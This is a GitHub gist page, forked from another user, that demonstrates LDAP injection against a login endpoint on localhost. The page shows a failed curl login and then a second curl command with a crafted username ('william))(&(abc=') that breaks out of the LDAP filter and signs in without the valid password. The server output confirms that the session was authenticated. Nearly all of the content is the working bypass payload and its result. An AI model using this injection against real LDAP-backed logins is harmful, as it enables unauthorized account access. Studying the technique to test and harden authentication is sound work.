Skip to content

Instantly share code, notes, and snippets.

@cdprf

cdprf/LDAP injection

Forked from nani1337/LDAP injection
Created September 4, 2022 23:28
Show Gist options
  • Save cdprf/24088c0ec21afe3ddeebbecb2e6eba27 to your computer and use it in GitHub Desktop.
Save cdprf/24088c0ec21afe3ddeebbecb2e6eba27 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
LDAP injection
§ curl "william:password@localhost:9080/login"
Login failed
By exploiting the LDAP injection, we bypass the LDAP filter constraint and are successfully signed in:
$ curl "william))(&(abc=:password@localhost:9080/login"
WSPrincipal:uid=william,cn=users,dc=my-company,dc=com
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment